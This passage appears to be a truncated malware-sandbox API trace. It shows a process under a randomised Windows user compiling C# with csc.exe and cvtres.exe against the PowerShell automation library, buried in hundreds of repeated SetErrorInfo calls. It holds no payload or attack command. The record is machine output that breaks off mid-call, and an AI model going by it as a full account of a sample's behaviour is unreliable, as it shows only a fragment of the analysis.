[0062.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.451] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.455] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.456] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.468] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.469] SysStringLen (param_1=0x0) returned 0x0 [0062.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.469] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.469] GetTempFileNameW (in: lpPathName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpPrefixString="CSC", uUnique=0x0, lpTempFileName=0x12dac0 | out: lpTempFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CSCF008.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cscf008.tmp")) returned 0xf008 [0062.473] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.473] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12d1b8 | out: ppstm=0x12d1b8*=0x2de930) returned 0x0 [0062.483] IUnknown:AddRef (This=0x2de930) returned 0x2 [0062.484] IStream:RemoteSeek (in: This=0x2de930, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x12cfd0 | out: plibNewPosition=0x12cfd0) returned 0x0 [0062.487] ISequentialStream:RemoteWrite (in: This=0x2de930, pv=0x37f3f0*=0x42, cb=0xe08, pcbWritten=0x12cf20 | out: pcbWritten=0x12cf20*=0xe08) returned 0x0 [0062.488] IUnknown:Release (This=0x2de930) returned 0x1 [0062.488] IStream:Stat (in: This=0x2de930, pstatstg=0x12d1e0, grfStatFlag=0x1 | out: pstatstg=0x12d1e0) returned 0x0 [0062.489] IStream:RemoteSeek (in: This=0x2de930, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0062.489] ISequentialStream:RemoteRead (in: This=0x2de930, pv=0x37f400, cb=0xe09, pcbRead=0x12d1c8 | out: pv=0x37f400*=0x42, pcbRead=0x12d1c8*=0xe08) returned 0x0 [0062.489] IUnknown:Release (This=0x2de930) returned 0x0 [0062.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.489] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.490] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.490] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.490] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.508] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0062.822] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 Process: id = "3" image_name = "cvtres.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\cvtres.exe" page_root = "0x3c514000" os_pid = "0x5cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x51c" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\RESF038.tmp\" \"c:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CSCF008.tmp\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x664 Process: id = "4" image_name = "csc.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe" page_root = "0x3a404000" os_pid = "0x290" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xaf8" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\yhwog0u-.cmdline\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 10 os_tid = 0x7e8 [0064.252] SysStringByteLen (bstr="4") returned 0x2 [0064.255] SysStringByteLen (bstr="䢠\x1f") returned 0x136 [0064.255] SysStringByteLen (bstr="䢠\x1f") returned 0x136 [0064.257] SysStringByteLen (bstr="DEBUG") returned 0xa [0064.257] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0064.258] SysStringLen (param_1=0x0) returned 0x0 [0064.258] SysStringLen (param_1=0x0) returned 0x0 [0064.258] SysStringByteLen (bstr="DEBUG") returned 0xa [0064.258] SysStringLen (param_1=0x0) returned 0x0 [0064.258] SysStringByteLen (bstr="DEBUG") returned 0xa [0064.258] SysStringByteLen (bstr="āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā") returned 0x136 [0064.258] SysStringByteLen (bstr="4") returned 0x2 [0064.259] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0064.261] SysStringByteLen (bstr="DEBUG") returned 0xa [0064.262] SysStringByteLen (bstr="āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā") returned 0x136 [0064.262] SysStringByteLen (bstr="4") returned 0x2 [0064.262] SysStringByteLen (bstr="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0xfe [0064.312] CoCreateInstance (in: rclsid=0x538005b10*(Data1=0xe5cb7a31, Data2=0x7512, Data3=0x11d2, Data4=([0]=0x89, [1]=0xce, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0x92, [6]=0xe5, [7]=0xd8)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x538005b90*(Data1=0x31bcfce2, Data2=0xdafb, Data3=0x11d2, Data4=([0]=0x9f, [1]=0x81, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x79, [6]=0xa0, [7]=0xa3)), ppv=0x12fd88 | out: ppv=0x12fd88*=0x1f48a0) returned 0x0 [0064.333] SysStringLen (param_1=0x0) returned 0x0 [0064.333] SysStringLen (param_1="System.dll|C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll") returned 0x7f [0064.339] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.362] SysStringByteLen (bstr="DEBUG") returned 0xa [0064.363] SysStringByteLen (bstr="DEBUG") returned 0xa [0064.394] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.395] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.419] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.480] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.500] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.523] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.525] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.527] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.528] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.529] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.529] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.543] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.543] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.543] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.543] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.543] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.544] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.545] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.546] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.547] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.548] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.548] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.548] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.548] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.548] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.548] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.548] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.549] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.549] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.549] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.549] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.549] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.549] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.549] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.550] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.550] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.550] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.550] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.550] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.550] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.551] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.551] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.551] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.551] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.551] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.551] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.552] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.552] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.552] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.553] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.554] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.554] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.555] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.555] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.556] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.556] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.557] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.557] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.558] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.558] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.559] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.560] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.561] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.561] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.562] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.562] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.562] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.562] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.562] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.562] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.563] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.563] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.564] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.564] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.564] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.564] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.565] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.565] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.566] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.567] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.567] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.568] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.568] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.569] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.569] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.570] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.570] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.571] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.571] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.572] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.572] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.573] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.573] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.574] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.574] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.575] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.575] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.576] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.576] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.577] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.577] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.577] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.581] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.581] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.581] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.582] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.582] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.582] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.583] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.583] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.584] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.584] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.584] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.585] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.585] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.586] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.586] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.586] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.587] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.587] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.588] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.588] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.589] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.589] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.589] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.590] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.590] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.590] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.591] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.591] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.591] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.592] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.592] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.592] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.593] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.593] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.593] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.594] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.594] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.594] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.595] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.595] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.595] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.596] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.596] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.596] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.597] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.597] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.598] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.598] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.598] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.599] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.599] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.599] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.600] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.600] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.600] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.600] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.601] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.601] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.601] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.602] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.602] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.602] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.603] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.603] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.603] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.604] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.604] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.604] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.605] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.605] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.605] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.606] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.606] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.606] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.607] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.607] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.607] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.608] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.608] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.608] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.609] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.609] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.609] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.609] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.610] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.610] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.610] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.611] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.611] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.611] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.612] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.612] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.612] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.612] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.612] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.612] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.612] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.613] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0064.613] SetErrorInfo (dwReserved=0x0, 